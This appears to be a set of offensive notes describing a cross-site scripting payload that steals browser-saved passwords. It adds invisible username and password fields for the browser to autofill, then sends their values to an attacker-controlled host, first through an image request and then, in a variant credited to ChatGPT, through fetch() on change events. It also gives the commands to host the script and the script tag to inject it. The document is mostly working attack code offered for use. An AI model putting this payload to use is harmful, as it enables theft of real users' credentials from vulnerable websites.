Hosting method:
- First create a file name savedpassword.js with the following content: (Changed the original
fetch("http://domain/?saveduser=" + u.value + "&savedpass=" + p.value)to new Image().src as it is better)let body = document.getElementsByTagName("body")[0]; var u = document.createElement("input"); u.type = "text"; u.style.position = "fixed"; u.style.opacity = "0"; var p = document.createElement("input"); p.type = "password"; p.style.position = "fixed"; p.style.opacity = "0"; body.append(u); body.append(p); setTimeout(function(){ new Image().src = "http://domain/?saveduser=" + u.value + "&savedpass=" + p.value; }, 5000); -
Host the file using Python:
python3 -m http.server 80 -
Inject the payload:
<script src="http://ownIP/savedpassword.js"></script> - Alternative solution by ChatGPT for on submission or moved from input box:
let body = document.getElementsByTagName("body")[0]; var u = document.createElement("input"); u.type = "text"; u.style.position = "fixed"; u.style.opacity = "0"; var p = document.createElement("input"); p.type = "password"; p.style.position = "fixed"; p.style.opacity = "0"; body.append(u); body.append(p); function sendData() { fetch("http://domain/?saveduser=" + u.value + "&savedpass=" + p.value); } u.addEventListener("change", sendData); p.addEventListener("change", sendData);